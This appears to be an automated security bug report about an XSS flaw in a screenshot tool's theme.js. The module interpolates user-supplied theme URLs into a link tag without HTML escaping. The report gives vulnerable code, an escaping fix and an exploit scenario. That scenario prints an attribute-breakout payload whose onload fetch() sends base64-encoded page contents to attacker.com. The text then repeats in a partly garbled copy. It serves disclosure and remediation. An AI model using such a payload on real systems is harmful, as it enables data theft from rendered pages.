Detail Bug Report
https://app.detail.dev/org_06887db3-bf54-40ab-976d-46c66ab2b840/bugs/bug_8f14a1c3-3f07-41ee-9fad-1fb635f7c88e
Summary
- Context: The
theme.js module loads CSS themes for Prism syntax highlighting when taking screenshots of JSON/code content. It accepts either a theme name or a URL.
- Bug: User-controlled URLs in the
codeScheme parameter are not HTML-escaped before being interpolated into a <link> tag's href attribute.
- Actual vs. expected: The URL is directly concatenated into HTML without escaping, allowing injection of arbitrary HTML attributes and tags, whereas it should be HTML-escaped to prevent attribute breakout.
- Impact: An attacker can inject arbitrary JavaScript that executes in the browser context during screenshot generation, potentially stealing sensitive data from rendered pages or manipulating screenshot content.
Code with Bug
module.exports = async themeId => {
if (isHttpUrl(themeId)) return `<link rel="stylesheet" type="text/css" href="${themeId}">` // <-- BUG 🔴 themeId is not HTML-escaped; allows attribute/tag injection
const stylesheet =
CACHE[themeId] ||
(CACHE[themeId] = await readFile(path.resolve(THEME_PATH(), `prism-${themeId}.css`)))
return `<style>${stylesheet}</style>`
}
Explanation
When themeId is an HTTP(S) URL, it is inserted directly into the href="..." attribute. If the URL contains a double-quote, it can break out of the attribute and inject additional attributes (e.g., onload=...) or new tags (e.g., <script>). This HTML is later rendered via page.setContent(), so injected JavaScript executes in the headless browser used for screenshot generation.
Exploit Scenario
An attacker supplies a malicious codeScheme URL such as:
'https://attacker.com/theme.css" onload="fetch(\'https://attacker.com/steal?data=\'+btoa(document.body.innerHTML))" x="'
This produces a <link> tag with an injected onload handler, which runs during page rendering and can exfiltrate rendered page contents or alter the screenshot output.
Recommended Fix
HTML-escape the URL before inserting it into the href attribute (or construct the tag via a safe DOM API). Example:
const escapeHtml = str => str
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/</g, '<')
.replace(/>/g, '>');
module.exports = async themeId => {
if (isHttpUrl(themeId)) return `<link rel="stylesheet" type="text/css" href="${escapeHtml(themeId)}">`
const stylesheet =
CACHE[themeId] ||
(CACHE[themeId] = await readFile(path.resolve(THEME_PATH(), `prism-${themeId}.css`)))
return `<style>${stylesheet}</style>`
}
History
This bug was introduced in commit 4061fff. The change added support for loading remote Prism themes from CDN URLs by accepting HTTP(S) URLs as theme identifiers, but the URL was directly interpolated into an HTML template string without escaping, creating an XSS vulnerability from the moment the feature was added.
Detail Bug Report
https://app.detail.dev/org_06887db3-bf54-40ab-976d-46c66ab2b840/bugs/bug_8f14a1c3-3f07-41ee-9fad-1fb635f7c88e
Summary
theme.jsmodule loads CSS themes for Prism syntax highlighting when taking screenshots of JSON/code content. It accepts either a theme name or a URL.codeSchemeparameter are not HTML-escaped before being interpolated into a<link>tag'shrefattribute.Code with Bug
Explanation
When
themeIdis an HTTP(S) URL, it is inserted directly into thehref="..."attribute. If the URL contains a double-quote, it can break out of the attribute and inject additional attributes (e.g.,onload=...) or new tags (e.g.,<script>). This HTML is later rendered viapage.setContent(), so injected JavaScript executes in the headless browser used for screenshot generation.Exploit Scenario
An attacker supplies a malicious
codeSchemeURL such as:'https://attacker.com/theme.css" onload="fetch(\'https://attacker.com/steal?data=\'+btoa(document.body.innerHTML))" x="'This produces a
<link>tag with an injectedonloadhandler, which runs during page rendering and can exfiltrate rendered page contents or alter the screenshot output.Recommended Fix
HTML-escape the URL before inserting it into the
hrefattribute (or construct the tag via a safe DOM API). Example:History
This bug was introduced in commit 4061fff. The change added support for loading remote Prism themes from CDN URLs by accepting HTTP(S) URLs as theme identifiers, but the URL was directly interpolated into an HTML template string without escaping, creating an XSS vulnerability from the moment the feature was added.